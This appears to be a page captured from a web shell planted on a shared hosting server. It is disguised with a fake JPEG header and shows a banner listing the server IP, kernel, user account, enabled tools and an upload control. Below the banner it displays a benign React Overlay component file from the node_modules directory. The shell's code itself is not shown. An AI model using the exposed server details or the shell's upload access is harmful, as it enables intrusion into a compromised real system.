ÿØÿà JPEG ÿþ;
Server IP : 68.65.120.201 / Your IP : 216.73.216.135 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/nodevenv/public_html/dp_taxhelplines/10/lib/node_modules/@restart/ui/esm/ |
Upload File : |
import * as React from 'react'; import ReactDOM from 'react-dom'; import useCallbackRef from '@restart/hooks/useCallbackRef'; import useMergedRefs from '@restart/hooks/useMergedRefs'; import { useState } from 'react'; import usePopper from './usePopper'; import useRootClose from './useRootClose'; import useWaitForDOMRef from './useWaitForDOMRef'; import mergeOptionsWithPopperConfig from './mergeOptionsWithPopperConfig'; import { renderTransition } from './ImperativeTransition'; /** * Built on top of `Popper.js`, the overlay component is * great for custom tooltip overlays. */ const Overlay = /*#__PURE__*/React.forwardRef((props, outerRef) => { const { flip, offset, placement, containerPadding, popperConfig = {}, transition: Transition, runTransition } = props; const [rootElement, attachRef] = useCallbackRef(); const [arrowElement, attachArrowRef] = useCallbackRef(); const mergedRef = useMergedRefs(attachRef, outerRef); const container = useWaitForDOMRef(props.container); const target = useWaitForDOMRef(props.target); const [exited, setExited] = useState(!props.show); const popper = usePopper(target, rootElement, mergeOptionsWithPopperConfig({ placement, enableEvents: !!props.show, containerPadding: containerPadding || 5, flip, offset, arrowElement, popperConfig })); // TODO: I think this needs to be in an effect if (props.show && exited) { setExited(false); } const handleHidden = (...args) => { setExited(true); if (props.onExited) { props.onExited(...args); } }; // Don't un-render the overlay while it's transitioning out. const mountOverlay = props.show || !exited; useRootClose(rootElement, props.onHide, { disabled: !props.rootClose || props.rootCloseDisabled, clickTrigger: props.rootCloseEvent }); if (!mountOverlay) { // Don't bother showing anything if we don't have to. return null; } const { onExit, onExiting, onEnter, onEntering, onEntered } = props; let child = props.children(Object.assign({}, popper.attributes.popper, { style: popper.styles.popper, ref: mergedRef }), { popper, placement, show: !!props.show, arrowProps: Object.assign({}, popper.attributes.arrow, { style: popper.styles.arrow, ref: attachArrowRef }) }); child = renderTransition(Transition, runTransition, { in: !!props.show, appear: true, mountOnEnter: true, unmountOnExit: true, children: child, onExit, onExiting, onExited: handleHidden, onEnter, onEntering, onEntered }); return container ? /*#__PURE__*/ReactDOM.createPortal(child, container) : null; }); Overlay.displayName = 'Overlay'; export default Overlay;